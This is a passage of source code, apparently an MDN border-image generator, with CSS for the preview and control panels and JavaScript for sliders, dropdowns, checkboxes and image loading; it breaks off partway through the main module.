+#preview_section {
+	position: relative;
+	min-height: 400px;
+}
+
+/* Image Control */
+
+#subject {
+	width: 300px;
+	height: 300px;
+	background-repeat: no-repeat;
+	background-size: 100%;
+	background-color: #FFF;
+	border: 1px solid #CCC;
+
+	position: absolute;
+	z-index: 10;
+	top: 15%;
+	left: 10%;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition-property: width, height;
+	transition-duration: 0.1s;
+}
+
+#subject .guideline {
+	background-color: rgba(255, 255, 255, 0.7);
+	border: 1px solid rgba(0, 0, 0, 0.3);
+	position: absolute;
+}
+
+#subject .guideline:hover {
+	background-color: #F00;
+}
+
+#subject .guideline[data-active] {
+	background-color: #F00;
+	z-index: 10;
+}
+
+#subject .guideline[data-axis='X'] {
+	width: 1px;
+	height: 100%;
+	top: -1px;
+}
+
+#subject .guideline[data-axis='Y'] {
+	width: 100%;
+	height: 1px;
+	left: -1px;
+}
+
+#subject .guideline[data-axis='X']:hover {
+	cursor: w-resize;
+}
+
+#subject .guideline[data-axis='Y']:hover {
+	cursor: s-resize;
+}
+
+
+#subject .relative {
+	position: relative;
+	font-size: 12px;
+}
+
+#subject .tooltip, #subject .tooltip2 {
+	width: 40px;
+	height: 20px;
+	line-height: 20px;
+	font-size: 12px;
+	text-align: center;
+
+	position: absolute;
+	opacity: 0.5;
+	transition: opacity 0.25s;
+}
+
+#subject .tooltip {
+	background: #EEE;
+	border-radius: 2px;
+	border: 1px solid #CCC;
+}
+
+#subject .tooltip2{
+	color: #555;
+}
+
+#subject [data-active] > * {
+	opacity: 1;
+}
+
+#subject .tooltip[data-info='top'] {
+	top: -10px;
+	right: -50px;
+}
+
+#subject .tooltip[data-info='right'] {
+	bottom: -30px;
+	right: -20px;
+}
+
+#subject .tooltip[data-info='bottom'] {
+	top: -10px;
+	left: -50px;
+}
+
+#subject .tooltip[data-info='left'] {
+	top: -30px;
+	right: -20px;
+}
+
+#subject .tooltip2[data-info='top'] {
+	top: -10px;
+	left: -50px;
+}
+
+#subject .tooltip2[data-info='right'] {
+	top: -30px;
+	right: -20px;
+}
+
+#subject .tooltip2[data-info='bottom'] {
+	top: -10px;
+	right: -50px;
+}
+
+#subject .tooltip2[data-info='left'] {
+	bottom: -30px;
+	right: -20px;
+}
+
+/* Preview */
+
+#preview {
+	width: 30%;
+	height: 50%;
+	background-color: #FFF;
+	text-align: center;
+	overflow: hidden;
+	position: absolute;
+	z-index: 10;
+
+	left: 60%;
+	top: 15%;
+
+	border-radius: 2px;
+	border-image-width: 20px;
+	border-image-repeat: round;
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#preview .resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url("https://mdn.mozillademos.org/files/6027/resize.png") center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+#preview .resize-handle:hover {
+	cursor: nw-resize;
+}
+
+
+/*
+ * General controls MENU
+ */
+
+#general-controls {
+	padding: 10px 30px;
+	background-color: #FFF;
+	opacity: 0.95;
+	color: #888;
+	/*border-radius: 2px;*/
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#general-controls .property {
+	width: 130px;
+	float: left;
+}
+
+#general-controls .name {
+	height: 20px;
+	margin: 0 10px 0 0;
+	line-height: 100%;
+	text-align: right;
+	float: left;
+}
+
+#general-controls .right {
+	width: 200px;
+	float: right;
+}
+
+#general-controls .ui-checkbox label {
+	height: 10px;
+}
+
+#general-controls .separator {
+	height: 40px;
+	width: 1px;
+	margin: -10px 15px;
+	background-color: #EEE;
+	float: left;
+}
+
+/*
+ * Controls
+ */
+
+#controls {
+	color: #444;
+	margin: 10px 0 0 0;
+}
+
+#controls .category {
+	height: 190px;
+	min-width: 260px;
+	margin: 10px;
+	padding: 10px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	float: left;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition: all 0.25s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+@media (min-width: 880px) {
+	#controls .category {
+		width: 30%;
+		margin-left: 1.66%;
+		margin-right: 1.66%;
+	}
+}
+
+@media (max-width: 879px) {
+	#controls .category {
+		width: 37%;
+		margin-left: 6.5%;
+		margin-right: 6.5%;
+	}
+}
+
+#controls .category .title {
+	width: 100%;
+	height: 30px;
+	margin: 0 0 10px 0;
+	line-height: 25px;
+
+	text-align: center;
+	color: #AAA;
+}
+
+#controls .category:hover .title {
+	color: #777;
+}
+
+#controls .category > .group {
+	border: 1px solid #CCC;
+	border-radius: 2px;
+}
+
+
+/* property */
+
+#controls .property {
+	width: 250px;
+	height: 20px;
+	margin: 5px auto;
+}
+
+#controls .property .ui-input-slider {
+	margin: 0;
+	float: left;
+}
+
+#controls .property .ui-input-slider-info {
+	width: 60px;
+}
+
+#controls .property .ui-input-slider-left {
+	transition: opacity 0.15s;
+    opacity: 0;
+}
+
+#controls .property .ui-input-slider-right {
+	transition: opacity 0.15s;
+    opacity: 0;
+}
+
+#controls .property .name {
+	width: 60px;
+	height: 20px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	line-height: 100%;
+	float: left;
+}
+
+#controls .property .config {
+	width: 20px;
+	height: 20px;
+	float: left;
+	background: url("https://mdn.mozillademos.org/files/6021/config.png") center center no-repeat;
+	opacity: 0.5;
+}
+
+#controls .property .config:hover {
+	cursor: pointer;
+	opacity: 1;
+}
+
+#controls .ui-input-slider:hover .ui-input-slider-right {
+    opacity: 1;
+}
+
+#controls .ui-input-slider:hover .ui-input-slider-left {
+    opacity: 1;
+}
+
+#controls .property .ui-dropdown {
+	margin: 0 10px;
+	float: left;
+}
+
+
+#controls .property .ui-checkbox {
+	margin: 0 0 0 16px;
+	float: left;
+}
+
+#controls .property .ui-checkbox label {
+	height: 0.85em;
+	width: 10px;
+}
+
+/* dropdowns */
+#controls .ui-dropdown {
+	width: 50px;
+	height: 1.7em;
+	border-radius: 2px;
+}
+
+#controls .ui-dropdown-select {
+	line-height: 1.6em;
+}
+
+#controls .ui-dropdown-list {
+	top: 20px;
+}
+
+#controls .ui-dropdown-list {
+	border-width: 1px;
+	text-align: center;
+}
+
+#controls .ui-dropdown-list:hover {
+	overflow: hidden;
+}
+
+#controls .border-repeat {
+	margin: 0 0 0 16px !important;
+	width: 80px;
+}
+
+#controls .border-repeat .ui-dropdown-list {
+	height: 6.2em;
+	border-width: 1px;
+	text-align: center;
+}
+
+/* border-image-slice */
+
+
+#border-slice-control .ui-dropdown-list {
+	height: 4.3em;
+}
+
+/* border-image-width */
+
+#border-width-control .ui-dropdown-list {
+	height: 6.2em;
+}
+
+/* border-image-outset */
+
+#border-outset-control .ui-dropdown-list {
+	height: 4.3em;
+}
+
+#aditional-properties .property {
+	width: 200px;
+}
+
+#aditional-properties .ui-input-slider > input {
+	width: 80px !important;
+}
+
+/* unit settings panel */
+
+#unit-settings {
+	padding: 10px;
+	position: absolute;
+
+	background: #FFF;
+
+	font-size: 12px;
+	border-radius: 3px;
+	border: 1px solid #CCC;
+	text-align: center;
+	color: #555;
+
+	position: absolute;
+	z-index: 1000;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition: all 0.25s;
+}
+
+#unit-settings .title {
+	width: 100%;
+	margin: -5px auto 0;
+
+	color: #666;
+	font-size: 14px;
+	font-weight: bold;
+	line-height: 25px;
+	border-bottom: 1px solid #E5E5E5;
+}
+
+#unit-settings .ui-input-slider {
+	margin: 10px 0 0 0;
+}
+
+#unit-settings .ui-input-slider-info {
+	width: 50px;
+	line-height: 1.5em;
+}
+
+#unit-settings input {
+	font-size: 12px;
+	width: 40px !important;
+}
+
+#unit-settings .close {
+	width: 16px;
+	height: 16px;
+	background: url('https://mdn.mozillademos.org/files/6019/close.png') no-repeat center center;
+	background-size: 75%;
+
+	position: absolute;
+	top: 4px;
+	right: 4px;
+	opacity: 0.5;
+}
+
+#unit-settings .close:hover {
+	cursor: pointer;
+	opacity: 1;
+}
+
+#unit-settings[data-active='true'] {
+	opacity: 1;
+}
+
+#unit-settings[data-active='false'] {
+	opacity: 0;
+	top: -100px !important;
+}
+
+/*
+ * CSS Output Code
+ */
+
+#output {
+	padding: 10px;
+	border: 2px dashed #888 !important;
+	box-shadow: none !important;
+	border-radius: 3px;
+	overflow: hidden;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+}
+
+
+@media (min-width: 880px) {
+	#output {
+		width: 63.33% !important;
+	}
+}
+
+@media (max-width: 879px) {
+	#output {
+		width: 87% !important;
+	}
+}
+
+
+#output .title {
+	width: 100%;
+	height: 30px;
+	margin: 0 0 10px 0;
+	line-height: 25px;
+
+	text-align: center;
+	color: #AAA;
+}
+
+#output .css-property {
+	width: 100%;
+	margin: 0;
+	color: #555;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+#output .css-property .name {
+	width: 30%;
+	font-weight: bold;
+	text-align: right;
+	float: left;
+}
+
+#output .css-property .value {
+	width: 65%;
+	padding: 0 2.5%;
+	word-break: break-all;
+	float: left;
+}
+
+
+ +

JavaScript Content

+ +
'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision >= 0 ? precision : 0;
+		this.step = step < 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity > 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value > slider.max) value = slider.max;
+		if (value < slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value > 0 ? value : 5;
+	};
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+/**
+ * UI-DropDown Select
+ */
+
+var DropDownManager = (function DropdownManager() {
+
+	var subscribers = {};
+	var dropdowns = [];
+	var active = null;
+
+	var visbility = ["hidden", "visible"];
+
+
+	var DropDown = function DropDown(node) {
+		var topic = node.getAttribute('data-topic');
+		var label = node.getAttribute('data-label');
+		var selected = node.getAttribute('data-selected') | 0;
+
+		var select = document.createElement('div');
+		var list = document.createElement('div');
+		var uval = 0;
+		var option = null;
+		var option_value = null;
+
+		list.className = 'ui-dropdown-list';
+		select.className = 'ui-dropdown-select';
+
+		while (node.firstElementChild !== null) {
+			option = node.firstElementChild;
+			option_value = option.getAttribute('data-value');
+
+			if (option_value === null)
+				option.setAttribute('data-value', uval);
+
+			list.appendChild(node.firstElementChild);
+			uval++;
+		}
+
+		node.appendChild(select);
+		node.appendChild(list);
+
+		select.onclick = this.toggle.bind(this);
+		list.onclick = this.updateValue.bind(this);
+		document.addEventListener('click', clickOut);
+
+		this.state = 0;
+		this.time = 0;
+		this.dropmenu = list;
+		this.select = select;
+		this.toggle(false);
+		this.value = {};
+		this.topic = topic;
+
+		if (label)
+			select.textContent = label;
+		else
+			this.setNodeValue(list.children[selected]);
+
+		dropdowns[topic] = this;
+
+	};
+
+	DropDown.prototype.toggle = function toggle(state) {
+		if (typeof(state) === 'boolean')
+			this.state = state === false ? 0 : 1;
+		else
+			this.state = 1 ^ this.state;
+
+		if (active !== this) {
+			if (active)
+				active.toggle(false);
+			active = this;
+		}
+
+		if (this.state === 0)
+			this.dropmenu.setAttribute('data-hidden', 'true');
+		else
+			this.dropmenu.removeAttribute('data-hidden');
+
+	};
+
+	var clickOut = function clickOut(e) {
+		if (active.state === 0 ||
+			e.target === active.dropmenu ||
+			e.target === active.select)
+			return;
+
+		active.toggle(false);
+	};
+
+	DropDown.prototype.updateValue = function updateValue(e) {
+
+		if (Date.now() - this.time < 500)
+			return;
+
+		if (e.target.className !== "ui-dropdown-list") {
+			this.setNodeValue(e.target);
+			this.toggle(false);
+		}
+
+		this.time = Date.now();
+	};
+
+	DropDown.prototype.setNodeValue = function setNodeValue(node) {
+		this.value['name'] = node.textContent;
+		this.value['value'] = node.getAttribute('data-value');
+
+		this.select.textContent = node.textContent;
+		this.select.setAttribute('data-value', this.value['value']);
+
+		notify.call(this);
+	};
+
+	var createDropDown = function createDropDown(topic, options) {
+
+		var dropdown = document.createElement('div');
+		dropdown.setAttribute('data-topic', topic);
+		dropdown.className = 'ui-dropdown';
+
+		for (var i in options) {
+			var x = document.createElement('div');
+			x.setAttribute('data-value', i);
+			x.textContent = options[i];
+			dropdown.appendChild(x);
+		}
+
+		new DropDown(dropdown);
+
+		return dropdown;
+	};
+
+	var setValue = function setValue(topic, index) {
+		if (dropdowns[topic] === undefined ||
+			index >= dropdowns[topic].dropmenu.children.length)
+			return;
+
+		dropdowns[topic].setNodeValue(dropdowns[topic].dropmenu.children[index]);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		var index = subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	};
+
+	var init = function init() {
+		var elem, size;
+
+		elem = document.querySelectorAll('.ui-dropdown');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			new DropDown(elem[i]);
+
+	};
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		createDropDown : createDropDown
+	};
+
+})();
+
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	};
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	};
+
+	var setValue = function setValue(topic, value) {
+		var obj = buttons[topic];
+		if (obj === undefined)
+			return;
+
+		obj.checkbox.checked = value;
+		notify.call(obj);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new CheckBox(elem[i]);
+	};
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	};
+
+})();
+
+window.addEventListener("load", function() {
+	BorderImage.init();
+});
+
+var BorderImage = (function BorderImage() {
+
+	var getElemById = document.getElementById.bind(document);
+
+	var subject;
+	var preview;
+	var guidelines = [];
+	var positions = ['top', 'right', 'bottom', 'left'];
+
+	var makeDraggable = function makeDraggable(elem) {
+
+		var offsetTop;
+		var offsetLeft;
+
+		elem.setAttribute('data-draggable', 'true');
+
+		var dragStart = function dragStart(e) {
+			if (e.target.getAttribute('data-draggable') !== 'true' ||
+				e.target !== elem || e.button !== 0)
+				return;
+
+			offsetLeft = e.clientX - elem.offsetLeft;
+			offsetTop = e.clientY - elem.offsetTop;
+
+			document.addEventListener('mousemove', mouseDrag);
+			document.addEventListener('mouseup', dragEnd);
+		};
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			document.removeEventListener('mousemove', mouseDrag);
+			document.removeEventListener('mouseup', dragEnd);
+		};
+
+		var mouseDrag = function mouseDrag(e) {
+
+			elem.style.left = e.clientX - offsetLeft + 'px';
+			elem.style.top = e.clientY - offsetTop + 'px';
+		};
+
+		elem.addEventListener('mousedown', dragStart, false);
+	};
+
+	var PreviewControl = function PreviewControl() {
+
+		var dragging = false;
+		var valueX = null;
+		var valueY = null;
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			valueX = e.clientX - preview.clientWidth;
+			valueY = e.clientY - preview.clientHeight;
+			dragging = true;
+
+			document.addEventListener('mousemove', mouseDrag);
+		};
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0 || dragging === false)
+				return;
+
+			document.removeEventListener('mousemove', mouseDrag);
+			dragging = false;
+		};
+
+		var mouseDrag = function mouseDrag(e) {
+			InputSliderManager.setValue('preview-width', e.clientX - valueX);
+			InputSliderManager.setValue('preview-height', e.clientY - valueY);
+		};
+
+		var init = function init() {
+
+			makeDraggable(preview);
+			makeDraggable(subject);
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			handle.addEventListener('mousedown', dragStart);
+			document.addEventListener('mouseup', dragEnd);
+
+			preview.appendChild(handle);
+
+		};
+
+		return {
+			init: init
+		};
+
+	}();
+
+	var ImageReader = (function ImageReader() {
+
+		var fReader = new FileReader();
+		var browse = document.createElement('input');
+
+		var loadImage = function loadImage(e) {
+			if (browse.files.length === 0)
+				return;
+
+			var file = browse.files[0];
+
+			if (file.type.slice(0, 5) !== 'image')
+				return;
+
+			fReader.readAsDataURL(file);
+
+			return false;
+		};
+
+		fReader.onload = function(e) {
+			ImageControl.loadRemoteImage(e.target.result);
+		};
+
+		var load = function load() {
+			browse.click();
+		};
+
+		browse.setAttribute('type', 'file');
+		browse.style.display = 'none';
+		browse.onchange = loadImage;
+
+		return {
+			load: load
+		};
+
+	})();
+
+	var ImageControl = (function ImageControl() {
+
+		var scale = 0.5;
+		var imgSource = new Image();
+		var imgState = null;
+		var selected = null;
+
+
+		var topics = ['slice', 'width', 'outset'];
+		var properties = {};
+		properties['border1'] = {
+			fill			: false,
+
+			slice_values	: [27, 27, 27, 27],
+			width_values	: [20, 20, 20, 20],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [1, 1],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border2'] = {
+			fill			: false,
+
+			slice_values	: [33, 33, 33, 33],
+			width_values	: [1.5, 1.5, 1.5, 1.5],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [1, 1, 1, 1],
+			width_units		: [2, 2, 2, 2],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border3'] = {
+			fill			: true,
+
+			slice_values	: [15, 15, 15, 15],
+			width_values	: [10, 10, 10, 10],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border4'] = {
+			fill			: false,
+
+			slice_values	: [13, 13, 13, 13],
+			width_values	: [13, 13, 13, 13],
+			outset_values	: [13, 13, 13, 13],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [0, 0],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border5'] = {
+			fill			: false,
+
+			slice_values	: [0, 12, 0, 12],
+			width_values	: [0, 12, 0, 12],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [0, 0],
+			size			: [300, 200],
+			preview_area	: 400,
+		};
+
+		properties['border6'] = {
+			fill			: false,
+
+			slice_values	: [42, 42, 42, 42],
+			width_values	: [42, 42, 42, 42],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [350, 350],
+			preview_area	: 500,
+		};
+
+
+		var loadLocalImage = function loadLocalImage(source) {
+			var location = "images/" + source;
+			imgSource.src = location;
+		};
+
+		var loadRemoteImage = function loadRemoteImage(source) {
+			imgSource.src = source;
+			if (selected)
+				selected.removeAttribute('selected');
+			Tool.setOutputCSS('source', 'url("' + source + '")');
+		};
+
+		var pickImage = function pickImage(e) {
+			if (e.target.className === 'image') {
+				selected = e.target;
+				selected.setAttribute('selected', 'true');
+				loadRemoteImage(e.target.src);
+				imgState = e.target.getAttribute('data-stateID');
+			}
+		};
+
+		var loadImageState = function loadImageState(stateID) {
+			if (properties[stateID] === undefined)
+				return;
+
+			var prop = properties[stateID];
+			var topic;
+			var unit_array;
+			var value_array;
+
+			for (var i in topics) {
+				for (var j=0; j<4; j++) {
+					topic = topics[i] + '-' + positions[j];
+					unit_array = topics[i] + '_units';
+					value_array = topics[i] + '_values';
+					InputSliderManager.setValue(topic, prop[value_array][j]);
+					DropDownManager.setValue(topic, prop[unit_array][j]);
+				}
+			}
+
+			ButtonManager.setValue('slice-fill', prop['fill']);
+			DropDownManager.setValue('image-repeat-X', prop['repeat'][0]);
+			DropDownManager.setValue('image-repeat-Y', prop['repeat'][1]);
+			InputSliderManager.setValue('preview-width', prop['size'][0]);
+			InputSliderManager.setValue('preview-height', prop['size'][1]);
+			InputSliderManager.setValue('preview-area-height', prop['preview_area']);
+		};
+
+		var update = function update() {
+			scale =  Math.min(300, (30000 / this.width) | 0);
+			setScale(scale);
+			InputSliderManager.setValue('scale', scale, false);
+
+			subject.style.backgroundImage = 'url("' + this.src + '")';
+			preview.style.borderImageSource = 'url("' + this.src + '")';
+
+			guidelines['slice-top'].setMax(this.height);
+			guidelines['slice-right'].setMax(this.width);
+			guidelines['slice-bottom'].setMax(this.height);
+			guidelines['slice-left'].setMax(this.width);
+
+			if (imgState)
+				loadImageState(imgState);
+		};
+
+		var setScale = function setScale(value) {
+			scale = value;
+			var w = imgSource.width * scale / 100 | 0;
+			var h = imgSource.height * scale / 100 | 0;
+			subject.style.width = w + 'px';
+			subject.style.height = h + 'px';
+
+			for (var i = 0; i < positions.length; i++)
+				guidelines['slice-' + positions[i]].updateGuidelinePos();
+		};
+
+		var getScale = function getScale() {
+			return scale/100;
+		};
+
+		var toggleGallery = function toggleGallery() {
+			var gallery = getElemById('image-gallery');
+			var button  = getElemById('toggle-gallery');
+			var state = 1;
+			button.addEventListener('click', function() {
+				state = 1 ^ state;
+				if (state === 0) {
+					gallery.setAttribute('data-collapsed', 'true');
+					button.setAttribute('data-action', 'show');
+				}
+				else {
+					gallery.removeAttribute('data-collapsed');
+					button.setAttribute('data-action', 'hide');
+				}
+			});
+		};
+
+		var init = function init() {
+			var gallery = getElemById('image-gallery');
+			var browse = getElemById('load-image');
+			var remote = getElemById('remote-url');
+			var load_remote = getElemById('load-remote');
+
+			remote.addEventListener('change', function(){
+				loadRemoteImage(this.value);
+			});
+
+			load_remote.addEventListener('click', function(){
+				loadRemoteImage(remote.value);
+			});
+
+			browse.addEventListener('click', ImageReader.load);
+			gallery.addEventListener('click', pickImage);
+			imgSource.addEventListener('load', update);
+
+			InputSliderManager.subscribe('scale', setScale);
+			InputSliderManager.setValue('scale', scale);
+			imgState = 'border1';
+			loadRemoteImage('https://mdn.mozillademos.org/files/6007/border-image-1.png');
+			toggleGallery();
+		};
+
+		return {
+			init: init,
+			getScale : getScale,
+			loadRemoteImage: loadRemoteImage
+		};
